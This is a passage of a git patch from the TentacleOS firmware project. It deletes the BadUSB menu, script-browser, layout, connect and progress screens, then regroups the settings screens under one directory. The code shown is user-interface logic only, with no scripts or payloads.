#endif -#endif // UI_BADUSB_MENU_H +#endif // BADUSB_MENU_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h deleted file mode 100644 index f4ec567a5..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_browser.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef UI_BADUSB_BROWSER_H -#define UI_BADUSB_BROWSER_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the BadUSB script browser screen. */ -void ui_badusb_browser_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // UI_BADUSB_BROWSER_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h deleted file mode 100644 index 7b063116e..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_connect.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef UI_BADUSB_CONNECT_H -#define UI_BADUSB_CONNECT_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the BadUSB connect screen. */ -void ui_badusb_connect_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // UI_BADUSB_CONNECT_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h deleted file mode 100644 index 9b5abc2dc..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_layout.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef UI_BADUSB_LAYOUT_H -#define UI_BADUSB_LAYOUT_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the BadUSB layout selection screen. */ -void ui_badusb_layout_open(void); - -#ifdef __cplusplus -} -#endif - -#endif // UI_BADUSB_LAYOUT_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h b/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h deleted file mode 100644 index 1addf2ad7..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/include/ui_badusb_running.h +++ /dev/null @@ -1,33 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#ifndef UI_BADUSB_RUNNING_H -#define UI_BADUSB_RUNNING_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** @brief Open the BadUSB running screen. */ -void ui_badusb_running_open(void); - -/** @brief Set the script name displayed on the running screen. */ -void ui_badusb_running_set_script(const char *name); - -#ifdef __cplusplus -} -#endif - -#endif // UI_BADUSB_RUNNING_H diff --git a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_browser.c b/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_browser.c deleted file mode 100644 index a4d4d38d3..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_browser.c +++ /dev/null @@ -1,107 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_badusb_browser.h" - -#include -#include -#include - -#include "esp_log.h" - -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "storage_assets.h" -#include "tos_flash_paths.h" -#include "ui_badusb_running.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BADUSB_BROWSER"; - -#define BROWSER_LIST_WIDTH 220 -#define BROWSER_LIST_HEIGHT 180 -#define BROWSER_LIST_BORDER_WIDTH 2 - -static lv_obj_t *screen_browser = NULL; - -static void file_select_event_handler(lv_event_t *e); - -void ui_badusb_browser_open(void) { - if (screen_browser != NULL) { - lv_obj_del(screen_browser); - } - - screen_browser = lv_obj_create(NULL); - lv_obj_set_style_bg_color(screen_browser, current_theme.screen_base, 0); - lv_obj_remove_flag(screen_browser, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(screen_browser); - - lv_obj_t *list = lv_list_create(screen_browser); - lv_obj_set_size(list, BROWSER_LIST_WIDTH, BROWSER_LIST_HEIGHT); - lv_obj_center(list); - lv_obj_set_style_bg_color(list, current_theme.screen_base, 0); - lv_obj_set_style_text_color(list, current_theme.text_main, 0); - lv_obj_set_style_border_color(list, lv_palette_main(LV_PALETTE_DEEP_PURPLE), 0); - lv_obj_set_style_border_width(list, BROWSER_LIST_BORDER_WIDTH, 0); - - DIR *dir = opendir(FLASH_STORAGE_BADUSB); - if (dir != NULL) { - struct dirent *de; - while ((de = readdir(dir)) != NULL) { - if (de->d_type == DT_REG) { - lv_obj_t *btn = lv_list_add_button(list, LV_SYMBOL_FILE, de->d_name); - lv_obj_add_event_cb(btn, file_select_event_handler, LV_EVENT_KEY, NULL); - lv_obj_set_style_bg_color(btn, current_theme.screen_base, 0); - lv_obj_set_style_text_color(btn, current_theme.text_main, 0); - } - } - closedir(dir); - } else { - lv_obj_t *btn = lv_list_add_button(list, LV_SYMBOL_WARNING, "Directory not found"); - lv_obj_set_style_bg_color(btn, current_theme.screen_base, 0); - lv_obj_set_style_text_color(btn, current_theme.text_main, 0); - } - - footer_ui_create(screen_browser); - - lv_obj_add_event_cb(screen_browser, file_select_event_handler, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, list); - lv_group_focus_obj(list); - } - - lv_screen_load(screen_browser); -} - -static void file_select_event_handler(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *obj = lv_event_get_target(e); - - if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ENTER) { - const char *filename = lv_list_get_button_text(lv_obj_get_parent(obj), obj); - ESP_LOGI(TAG, "Selected script: %s", filename); - ui_badusb_running_set_script(filename); - ui_switch_screen(SCREEN_BADUSB_LAYOUT); - } else if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - ui_switch_screen(SCREEN_BADUSB_MENU); - } - } -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_connect.c b/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_connect.c deleted file mode 100644 index 9a7efb083..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_connect.c +++ /dev/null @@ -1,111 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_badusb_connect.h" - -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_log.h" - -#include "bad_usb.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BADUSB_CONNECT"; - -#define SPINNER_SIZE 50 -#define STATUS_LABEL_OFFSET_Y 50 -#define HINT_LABEL_OFFSET_Y 70 -#define WAITER_TASK_STACK 4096 -#define WAITER_TASK_PRIORITY 5 - -static lv_obj_t *s_screen_connect = NULL; -static lv_obj_t *s_spinner = NULL; -static TaskHandle_t s_waiter_task = NULL; - -static void connection_waiter_task(void *pvParameters); -static void connect_key_event_cb(lv_event_t *e); - -void ui_badusb_connect_open(void) { - if (s_screen_connect != NULL) { - lv_obj_del(s_screen_connect); - } - - s_screen_connect = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_connect, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen_connect, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_connect); - - s_spinner = lv_spinner_create(s_screen_connect); - lv_obj_set_size(s_spinner, SPINNER_SIZE, SPINNER_SIZE); - lv_obj_center(s_spinner); - lv_obj_set_style_arc_color(s_spinner, lv_palette_main(LV_PALETTE_DEEP_PURPLE), LV_PART_INDICATOR); - - lv_obj_t *lbl_status = lv_label_create(s_screen_connect); - lv_label_set_text(lbl_status, "Waiting for USB..."); - lv_obj_set_style_text_color(lbl_status, current_theme.text_main, 0); - lv_obj_align(lbl_status, LV_ALIGN_CENTER, 0, STATUS_LABEL_OFFSET_Y); - - lv_obj_t *lbl_hint = lv_label_create(s_screen_connect); - lv_label_set_text(lbl_hint, "Connect to PC now"); - lv_obj_set_style_text_font(lbl_hint, &lv_font_montserrat_12, 0); - lv_obj_set_style_text_color(lbl_hint, current_theme.text_main, 0); - lv_obj_align(lbl_hint, LV_ALIGN_CENTER, 0, HINT_LABEL_OFFSET_Y); - - footer_ui_create(s_screen_connect); - - lv_obj_add_event_cb(s_screen_connect, connect_key_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen_connect); - lv_group_focus_obj(s_screen_connect); - } - - lv_screen_load(s_screen_connect); - - xTaskCreate(connection_waiter_task, - "usb_waiter", - WAITER_TASK_STACK, - NULL, - WAITER_TASK_PRIORITY, - &s_waiter_task); -} - -static void connection_waiter_task(void *pvParameters) { - bad_usb_wait_for_connection(); - ui_switch_screen(SCREEN_BADUSB_RUNNING); - s_waiter_task = NULL; - vTaskDelete(NULL); -} - -static void connect_key_event_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - - if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - if (s_waiter_task != NULL) { - vTaskDelete(s_waiter_task); - s_waiter_task = NULL; - } - bad_usb_deinit(); - ui_switch_screen(SCREEN_BADUSB_BROWSER); - } - } -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_layout.c b/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_layout.c deleted file mode 100644 index 60df26d94..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_layout.c +++ /dev/null @@ -1,100 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_badusb_layout.h" - -#include "esp_log.h" - -#include "bad_usb.h" -#include "ducky_parser.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BADUSB_LAYOUT"; - -#define LAYOUT_LABEL_OFFSET_Y 40 -#define LAYOUT_LIST_WIDTH 200 -#define LAYOUT_LIST_HEIGHT 120 -#define LAYOUT_LIST_BORDER_WIDTH 2 - -static lv_obj_t *s_screen_layout = NULL; - -static void layout_key_event_cb(lv_event_t *e); - -void ui_badusb_layout_open(void) { - if (s_screen_layout != NULL) { - lv_obj_del(s_screen_layout); - } - - s_screen_layout = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_layout, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen_layout, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_layout); - - lv_obj_t *lbl = lv_label_create(s_screen_layout); - lv_label_set_text(lbl, "Select Keyboard Layout:"); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_align(lbl, LV_ALIGN_TOP_MID, 0, LAYOUT_LABEL_OFFSET_Y); - - lv_obj_t *list = lv_list_create(s_screen_layout); - lv_obj_set_size(list, LAYOUT_LIST_WIDTH, LAYOUT_LIST_HEIGHT); - lv_obj_center(list); - lv_obj_set_style_bg_color(list, current_theme.screen_base, 0); - lv_obj_set_style_text_color(list, current_theme.text_main, 0); - lv_obj_set_style_border_color(list, lv_palette_main(LV_PALETTE_DEEP_PURPLE), 0); - lv_obj_set_style_border_width(list, LAYOUT_LIST_BORDER_WIDTH, 0); - - lv_obj_t *btn = lv_list_add_button(list, LV_SYMBOL_KEYBOARD, "US (Standard)"); - lv_obj_add_event_cb(btn, layout_key_event_cb, LV_EVENT_KEY, (void *)(intptr_t)DUCKY_LAYOUT_US); - lv_obj_set_style_bg_color(btn, current_theme.screen_base, 0); - lv_obj_set_style_text_color(btn, current_theme.text_main, 0); - - btn = lv_list_add_button(list, LV_SYMBOL_KEYBOARD, "ABNT2 (Brazilian)"); - lv_obj_add_event_cb(btn, layout_key_event_cb, LV_EVENT_KEY, (void *)(intptr_t)DUCKY_LAYOUT_ABNT2); - lv_obj_set_style_bg_color(btn, current_theme.screen_base, 0); - lv_obj_set_style_text_color(btn, current_theme.text_main, 0); - - footer_ui_create(s_screen_layout); - - lv_obj_add_event_cb(s_screen_layout, layout_key_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, list); - lv_group_focus_obj(list); - } - - lv_screen_load(s_screen_layout); -} - -static void layout_key_event_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - ducky_layout_t layout = (ducky_layout_t)(intptr_t)lv_event_get_user_data(e); - - if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ENTER) { - ESP_LOGI(TAG, "Selected Layout: %d", layout); - ducky_set_layout(layout); - bad_usb_init(); - ui_switch_screen(SCREEN_BADUSB_CONNECT); - } else if (key == LV_KEY_ESC) { - ui_switch_screen(SCREEN_BADUSB_BROWSER); - } - } -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_menu.c b/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_menu.c deleted file mode 100644 index 97b95593c..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_menu.c +++ /dev/null @@ -1,120 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_badusb_menu.h" - -#include "esp_log.h" - -#include "buttons_gpio.h" -#include "lv_port_indev.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BADUSB_MENU"; - -#define NAV_TIMER_INTERVAL_MS 50 - -typedef struct { - const char *name; - const char *icon; - int target; -} ui_badusb_menu_item_t; - -static const ui_badusb_menu_item_t MENU_ITEMS[] = { - {"Internal Memory", NULL, SCREEN_BADUSB_BROWSER}, - {"Micro-SD", NULL, SCREEN_BADUSB_BROWSER}, -}; -#define MENU_ITEMS_COUNT (sizeof(MENU_ITEMS) / sizeof(MENU_ITEMS[0])) - -static lv_obj_t *s_screen = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static void nav_timer_cb(lv_timer_t *t); - -void ui_badusb_menu_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen, "BAD USB", NULL); - for (int i = 0; i < (int)MENU_ITEMS_COUNT; i++) { - menu_component_add_item(&s_menu, MENU_ITEMS[i].icon, MENU_ITEMS[i].name); - } - - if (s_nav_timer == NULL) { - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - } - - lv_screen_load(s_screen); -} - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - - if (ui_input_is_locked()) { - return; - } - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - if (down && !s_btn_down_last) { - menu_component_next(&s_menu); - } - - if (up && !s_btn_up_last) { - menu_component_prev(&s_menu); - } - - if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) { - ui_switch_screen(SCREEN_MENU); - } - - if ((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) { - int sel = menu_component_get_selected(&s_menu); - if (sel >= 0 && sel < (int)MENU_ITEMS_COUNT) { - ui_switch_screen(MENU_ITEMS[sel].target); - } - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_left_last = left; - s_btn_right_last = right; - s_btn_ok_last = ok; - s_btn_back_last = back; -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_running.c b/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_running.c deleted file mode 100644 index 24788500b..000000000 --- a/firmware_p4/components/Applications/ui/screens/badusb/ui_badusb_running.c +++ /dev/null @@ -1,161 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "ui_badusb_running.h" - -#include - -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_log.h" - -#include "bad_usb.h" -#include "ducky_parser.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BADUSB_RUNNING"; - -#define SCRIPT_NAME_MAX_LEN 64 -#define SCRIPT_FULL_PATH_MAX_LEN 128 -#define SCRIPT_DISPLAY_NAME_MAX_LEN 56 -#define SCRIPT_PATH_PREFIX "storage/bad_usb_scripts/" -#define SCRIPT_TASK_STACK_SIZE 4096 -#define SCRIPT_TASK_PRIORITY 5 -#define TITLE_LABEL_OFFSET_Y (-40) -#define INFO_LABEL_OFFSET_Y 40 -#define PROGRESS_BAR_WIDTH 200 -#define PROGRESS_BAR_HEIGHT 20 -#define PROGRESS_BAR_BORDER_WIDTH 1 -#define PROGRESS_PERCENT_MAX 100 - -static lv_obj_t *s_screen_running = NULL; -static lv_obj_t *s_progress_bar = NULL; -static TaskHandle_t s_script_task_handle = NULL; -static char s_script_name[SCRIPT_NAME_MAX_LEN] = "rickroll.txt"; - -static void ducky_progress_cb(int current_line, int total_lines); -static void script_runner_task(void *pvParameters); -static void running_key_event_cb(lv_event_t *e); - -void ui_badusb_running_set_script(const char *name) { - if (name != NULL) { - strncpy(s_script_name, name, sizeof(s_script_name) - 1); - s_script_name[sizeof(s_script_name) - 1] = '\0'; - } -} - -void ui_badusb_running_open(void) { - if (s_screen_running != NULL) { - lv_obj_del(s_screen_running); - } - - s_screen_running = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_running, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen_running, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen_running); - footer_ui_create(s_screen_running); - - char display_name[SCRIPT_DISPLAY_NAME_MAX_LEN]; - char *dot = strrchr(s_script_name, '.'); - if (dot != NULL) { - size_t len = dot - s_script_name; - if (len > sizeof(display_name) - 1) { - len = sizeof(display_name) - 1; - } - strncpy(display_name, s_script_name, len); - display_name[len] = '\0'; - } else { - strncpy(display_name, s_script_name, sizeof(display_name) - 1); - display_name[sizeof(display_name) - 1] = '\0'; - } - - lv_obj_t *lbl_title = lv_label_create(s_screen_running); - lv_label_set_text_fmt(lbl_title, "Running: %s", display_name); - lv_obj_align(lbl_title, LV_ALIGN_CENTER, 0, TITLE_LABEL_OFFSET_Y); - - s_progress_bar = lv_bar_create(s_screen_running); - lv_obj_set_size(s_progress_bar, PROGRESS_BAR_WIDTH, PROGRESS_BAR_HEIGHT); - lv_obj_center(s_progress_bar); - lv_bar_set_value(s_progress_bar, 0, LV_ANIM_OFF); - lv_obj_set_style_radius(s_progress_bar, 0, LV_PART_MAIN); - lv_obj_set_style_radius(s_progress_bar, 0, LV_PART_INDICATOR); - lv_obj_set_style_border_width(s_progress_bar, PROGRESS_BAR_BORDER_WIDTH, LV_PART_MAIN); - lv_obj_set_style_border_color( - s_progress_bar, lv_palette_main(LV_PALETTE_DEEP_PURPLE), LV_PART_MAIN); - lv_obj_set_style_bg_color( - s_progress_bar, lv_palette_main(LV_PALETTE_DEEP_PURPLE), LV_PART_INDICATOR); - - lv_obj_t *lbl_info = lv_label_create(s_screen_running); - lv_label_set_text(lbl_info, "Press BACK to cancel"); - lv_obj_align(lbl_info, LV_ALIGN_CENTER, 0, INFO_LABEL_OFFSET_Y); - - lv_obj_add_event_cb(s_screen_running, running_key_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen_running); - lv_group_focus_obj(s_screen_running); - } - - lv_screen_load(s_screen_running); - - xTaskCreate(script_runner_task, - "script_runner", - SCRIPT_TASK_STACK_SIZE, - NULL, - SCRIPT_TASK_PRIORITY, - &s_script_task_handle); -} - -static void ducky_progress_cb(int current_line, int total_lines) { - if (s_progress_bar != NULL && ui_acquire()) { - int progress = (current_line * PROGRESS_PERCENT_MAX) / total_lines; - lv_bar_set_value(s_progress_bar, progress, LV_ANIM_OFF); - ui_release(); - } -} - -static void script_runner_task(void *pvParameters) { - ESP_LOGI(TAG, "Starting script: %s", s_script_name); - - char full_path[SCRIPT_FULL_PATH_MAX_LEN]; - snprintf(full_path, sizeof(full_path), "%s%s", SCRIPT_PATH_PREFIX, s_script_name); - - ducky_set_progress_callback(ducky_progress_cb); - ducky_run_from_assets(full_path); - ducky_set_progress_callback(NULL); - - bad_usb_deinit(); - ui_switch_screen(SCREEN_BADUSB_BROWSER); - s_script_task_handle = NULL; - vTaskDelete(NULL); -} - -static void running_key_event_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - - if (code == LV_EVENT_KEY) { - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC) { - if (s_script_task_handle != NULL) { - ducky_abort(); - } - } - } -} \ No newline at end of file From 0f973cf29ff5db8c354265359542679f30d883aa Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:05:12 -0300 Subject: [PATCH 113/572] refactor(ui): consolidate persetting screens under settings --- .../about_settings/about_settings_ui.c | 124 ----- .../battery_settings/battery_settings_ui.c | 144 ------ .../connection_settings_ui.c | 37 +- .../display_settings/display_settings_ui.c | 161 ------ .../interface_settings_ui.c | 256 ---------- .../ui/screens/settings/about_settings_ui.c | 133 +++++ .../ui/screens/settings/battery_settings_ui.c | 179 +++++++ .../ui/screens/settings/display_settings_ui.c | 166 +++++++ .../include/about_settings_ui.h | 4 +- .../include/battery_settings_ui.h | 4 +- .../include/display_settings_ui.h | 4 +- .../include/interface_settings_ui.h | 4 +- .../include/sound_settings_ui.h | 4 +- .../screens/settings/interface_settings_ui.c | 157 ++++++ .../ui/screens/settings/settings_ui.c | 463 +++++++++++++++++- .../ui/screens/settings/sound_settings_ui.c | 155 ++++++ .../sound_settings/sound_settings_ui.c | 117 ----- 17 files changed, 1257 insertions(+), 855 deletions(-) delete mode 100644 firmware_p4/components/Applications/ui/screens/about_settings/about_settings_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/battery_settings/battery_settings_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/display_settings/display_settings_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/interface_settings/interface_settings_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/settings/about_settings_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/settings/battery_settings_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/settings/display_settings_ui.c rename firmware_p4/components/Applications/ui/screens/{about_settings => settings}/include/about_settings_ui.h (91%) rename firmware_p4/components/Applications/ui/screens/{battery_settings => settings}/include/battery_settings_ui.h (91%) rename firmware_p4/components/Applications/ui/screens/{display_settings => settings}/include/display_settings_ui.h (90%) rename firmware_p4/components/Applications/ui/screens/{interface_settings => settings}/include/interface_settings_ui.h (90%) rename firmware_p4/components/Applications/ui/screens/{sound_settings => settings}/include/sound_settings_ui.h (91%) create mode 100644 firmware_p4/components/Applications/ui/screens/settings/interface_settings_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/settings/sound_settings_ui.c delete mode 100644 firmware_p4/components/Applications/ui/screens/sound_settings/sound_settings_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/about_settings/about_settings_ui.c b/firmware_p4/components/Applications/ui/screens/about_settings/about_settings_ui.c deleted file mode 100644 index f6d89600a..000000000 --- a/firmware_p4/components/Applications/ui/screens/about_settings/about_settings_ui.c +++ /dev/null @@ -1,124 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "about_settings_ui.h" - -#include "core/lv_group.h" - -#include "esp_log.h" - -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "ABOUT_SETTINGS_UI"; - -#define INFO_BOX_WIDTH 220 -#define INFO_BOX_HEIGHT 150 -#define INFO_BOX_ALIGN_OFFSET_Y 5 -#define INFO_BOX_BORDER_WIDTH 2 -#define INFO_BOX_RADIUS 8 -#define INFO_BOX_PAD 12 -#define TITLE_MARGIN_BOTTOM 10 -#define HINT_MARGIN_TOP 15 - -static lv_obj_t *screen_about = NULL; -static lv_style_t style_info_box; - -static void init_styles(void); -static void screen_back_event_cb(lv_event_t *e); - -void ui_about_settings_open(void) { - init_styles(); - - if (screen_about != NULL) { - lv_obj_del(screen_about); - } - - screen_about = lv_obj_create(NULL); - lv_obj_set_style_bg_color(screen_about, current_theme.screen_base, 0); - lv_obj_clear_flag(screen_about, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(screen_about); - footer_ui_create(screen_about); - - lv_obj_t *info_box = lv_obj_create(screen_about); - lv_obj_set_size(info_box, INFO_BOX_WIDTH, 